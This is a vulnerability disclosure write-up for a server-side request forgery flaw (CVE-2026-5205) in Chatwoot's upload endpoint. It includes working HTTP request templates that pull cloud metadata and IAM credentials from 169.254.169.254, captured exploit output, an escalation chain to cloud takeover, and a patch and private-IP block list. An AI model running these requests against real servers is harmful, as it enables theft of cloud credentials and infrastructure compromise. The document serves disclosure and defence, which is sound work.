Security

CVE-2026-5205: Critical SSRF in Chatwoot — How a Single Upload Parameter Exposes Cloud Credentials

A deep dive into a critical Server-Side Request Forgery (SSRF) vulnerability in Chatwoot's upload endpoint (≤ v4.12.1). The /api/v1/accounts/:id/upload endpoint accepts an external_url parameter validated only by a scheme check, allowing any authenticated agent to force the server to fetch arbitrary internal URLs. The full response body is returned in-band through ActiveStorage blobs — turning the upload endpoint into a full-read proxy. Live exploitation on a DigitalOcean droplet confirmed in-band exfiltration of cloud metadata including droplet ID, hostname, SSH public keys, and full metadata bundles. Fixed in v4.13.0.

Wed 29 April 2026

CVE-2026-5205

Chatwoot : Critical SSRF in /api/v1/accounts/:id/upload

March 26, 2026 · CWE-918 · Chatwoot ≤ v4.12.1

Field Details
Weakness CWE-918: Server-Side Request Forgery
Severity High
Affected Chatwoot ≤ v4.12.1
Fixed v4.13.0
Authentication Agent (lowest privilege role)
Affected Component app/controllers/api/v1/accounts/upload_controller.rb

The Story

It started with an upload endpoint and a parameter that shouldn't have been trusted.

At Ostorlab, I had been reviewing Chatwoot's codebase — the open-source customer engagement platform that positions itself as an alternative to Intercom. While tracing data flows through the application, I landed on the upload controller. The endpoint at /api/v1/accounts/:id/upload accepts an external_url parameter: you give it a URL, and the server fetches the resource, stores it as an ActiveStorage blob, and hands you back a file_url to download the result.

The question was immediate: what stops this from fetching http://169.254.169.254/?

The answer: nothing. A single function — validate_uri — stood between user input and an outbound HTTP request. It checked the URL scheme. That's it. No hostname validation. No IP range blocking. No DNS rebinding protection. The server would happily fetch any http:// or https:// URL, store the response, and return it to the caller.

And unlike blind SSRF vulnerabilities where the attacker has to infer the response through side channels, this one returns the full response body in-band through the ActiveStorage blob. No out-of-band exfiltration needed. No timing attacks. The server fetches, stores, and hands you the data on a silver platter.

I deployed an unmodified chatwoot/chatwoot:latest on a DigitalOcean droplet and confirmed the full exploitation chain — six consecutive requests to the metadata service, each returning real infrastructure data through the blob URL. Droplet ID. Hostname. Public IP. SSH public keys. The complete metadata JSON bundle. All readable with a simple GET request.

The finding was submitted to the Chatwoot security team via GitHub Security Advisory. The issue was confirmed as already reported and fixed in v4.13.0. This article documents the vulnerability as I found it: the vulnerable code, the exploitation chain, and the live proof on real infrastructure.

The Vulnerability: SSRF via external_url Parameter (CVE-2026-5205)

The Sink

Chatwoot's upload endpoint at /api/v1/accounts/:id/upload accepts an external_url parameter. The server fetches the URL server-side using Ruby's open-uri, stores the response body as an ActiveStorage blob, and returns the blob URL directly to the caller. The attacker can then follow the file_url to read the raw upstream response — full in-band exfiltration.

Tracing the Data Flow

The vulnerable code sits in app/controllers/api/v1/accounts/upload_controller.rb:

def validate_uri(uri)
  raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end

def fetch_and_process_file_from_uri(uri)
  uri.open do |file|   # open-uri fetches ANY http(s) URL incl. 169.254.169.254
    create_and_save_blob(file, File.basename(uri.path), file.content_type)
  end
end

That's it. validate_uri verifies the URL uses http:// or https:// — and nothing else. No hostname validation. No IP range check. No allowlist. http://169.254.169.254/metadata/v1/id passes this check without a second glance.

uri.open (from open-uri) makes a real HTTP GET to any URL that passes the scheme check. The response is consumed by create_and_save_blob, which stores the raw body as an ActiveStorage blob. The blob's file_url is returned in the JSON response — giving the attacker direct access to the full upstream response body.

The server responds with:

{ "file_url": "...", "blob_id": "..." }

Following file_url returns the raw upstream body. That's the entire exfiltration channel — built into the application's normal response flow.

The Irony: Enterprise Code Has Protection, Core Does Not

The irony stings. Chatwoot's Enterprise edition already contains a proper SSRF guard in enterprise/lib/captain/tools/http_tool.rb:

PRIVATE_IP_RANGES = [
  IPAddr.new('127.0.0.0/8'),    # IPv4 Loopback
  IPAddr.new('10.0.0.0/8'),     # IPv4 Private network
  IPAddr.new('172.16.0.0/12'),  # IPv4 Private network
  IPAddr.new('192.168.0.0/16'), # IPv4 Private network
  IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
  IPAddr.new('::1'),            # IPv6 Loopback
  IPAddr.new('fc00::/7'),       # IPv6 Unique local addresses
  IPAddr.new('fe80::/10')       # IPv6 Link-local
].freeze

def check_private_ip!(hostname)
  ip_address = IPAddr.new(Resolv.getaddress(hostname))
  raise 'Request blocked: hostname resolves to private IP address' if
    PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end

Full private IP coverage. DNS resolution before the check. Exactly what validate_uri needed. But this protection was confined to the Enterprise AI tooling module — never applied to the upload controller, leaving the external_url download path wide open.

The fix was sitting in the same codebase. It just wasn't wired up.

Live Exploitation: DigitalOcean Droplet

I tested this against an unmodified chatwoot/chatwoot:latest deployment on a DigitalOcean droplet. No special configuration, no modified settings — just the default docker-compose.production.yaml. The results speak for themselves.

Test Environment

Property Value
Provider DigitalOcean
Region lon1
Droplet ID 552923997
Hostname ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01
Public IP 167.99.195.252
Image chatwoot/chatwoot:latest (default docker-compose.production.yaml)
Attacker agent@acme.test (role 0 — agent, non-admin)

Step 1 — Authenticate as Lowest-Privilege Agent

POST /auth/sign_in HTTP/1.1
Content-Type: application/json

{"email":"agent@acme.test","password":"Password1!"}

Captured response headers:

access-token: zNicAlY5gBHQvFSspta63g
client:       KHysYvoMt2zIkl4yAiJM5Q
uid:          agent@acme.test
token-type:   Bearer

The attacker doesn't need admin access. The lowest-privilege agent role is sufficient to reach the upload endpoint.

Step 2 — Fire SSRF Requests Against the DigitalOcean Metadata Service

All six requests use the same authenticated template:

POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=<TARGET>

The server responds with { "file_url": "...", "blob_id": "..." }. Following file_url returns the raw upstream body — the complete response from the metadata service.

Results — Six Consecutive Metadata Exfiltration Requests

# external_url target Blob body returned
1 http://169.254.169.254/metadata/v1/id 552923997
2 http://169.254.169.254/metadata/v1/hostname ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01
3 http://169.254.169.254/metadata/v1/region lon1
4 http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address 167.99.195.252
5 http://169.254.169.254/metadata/v1/public-keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop
6 http://169.254.169.254/metadata/v1.json Full DO metadata bundle (droplet_id, vendor_data cloud-init, public_keys, interfaces, dns, …)

Every single response — the droplet ID, the hostname, the public IP, the SSH public key, and the complete metadata JSON — came back through the ActiveStorage blob, readable by the attacker with a simple GET to the file_url.

Sample Full Request/Response — Droplet ID Exfiltration

Request:

POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=http://169.254.169.254/metadata/v1/id

Response:

{
  "file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
  "blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}

Fetching the file_url:

552923997

The droplet ID — confirmed against the DigitalOcean control panel. Real data, exfiltrated in-band, from a default Chatwoot install.

Escalation: From SSRF to Cloud Account Takeover

AWS IMDSv1 — The Worst Case

On AWS EC2, ECS, Lambda, or Elastic Beanstalk hosted instances with IMDSv1, this SSRF becomes a direct path to full cloud account takeover:

POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

The metadata service returns full IAM credentials — and because the upload SSRF returns the complete response body in-band, the attacker reads them directly from the file_url:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoXnyc4lcK4w...",
  "Expiration": "2026-04-01T00:00:00Z"
}

The escalation path from there:

SSRF → AWS IMDSv1 credentials
     → Attacker has AWS IAM role keys
     → Role has S3/EC2/Lambda/ECS permissions
     → Deploy backdoor Lambda / modify EC2 user data
     → Full RCE on cloud infrastructure

Impact

Scenario Impact
AWS IMDSv1 (no hop limit) Critical — steal IAM role credentials, full AWS account takeover
GCP metadata API Critical — steal service account OAuth tokens
Azure IMDS Critical — steal managed identity tokens
DigitalOcean metadata High — steal cloud tokens, SSH keys, user data
Internal network pivoting High — attack Redis, Postgres admin UIs, Sidekiq Web, K8s API, internal microservices
Secret exfiltration High — read internal debug/health endpoints
Privilege escalation High — stolen cloud credentials grant access beyond Chatwoot

The Fix for CVE-2026-5205

The vulnerability was fixed in Chatwoot v4.13.0. The canonical advisory is tracked as GHSA-6fj9-gj7h-q2hf.

The fix should validate the resolved IP against private ranges before open-uri makes the request:

require 'resolv'

PRIVATE_IP_PATTERNS = [
  /\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
  /\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze

def validate_uri(uri)
  raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
  resolved = Resolv.getaddress(uri.host) rescue nil
  raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end

Cloud-Level Mitigation — Enable IMDSv2

On AWS, enforce IMDSv2 — which requires a PUT with a token header that open-uri cannot forge:

aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

This is a mitigation, not a fix — internal service access remains possible regardless of IMDSv2.

Timeline

Date Event
2026-03-26 Vulnerability discovered via source code review
2026-03-26 Confirmed via live exploitation on DigitalOcean droplet (v4.12.1)
2026-03-26 Report submitted via GitHub Security Advisory
2026-04-22 Chatwoot team confirmed the issue was already reported and fixed in v4.13.0
2026-04-22 Advisory closed — canonical tracking under GHSA-6fj9-gj7h-q2hf

References

Resource Link
Canonical Advisory GHSA-6fj9-gj7h-q2hf
CWE-918: Server-Side Request Forgery https://cwe.mitre.org/data/definitions/918.html
OWASP SSRF Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
AWS IMDSv1 Exploitation https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
Chatwoot Security Reporting Guidelines https://developers.chatwoot.com/contributing-guide/security-reports

Table of Contents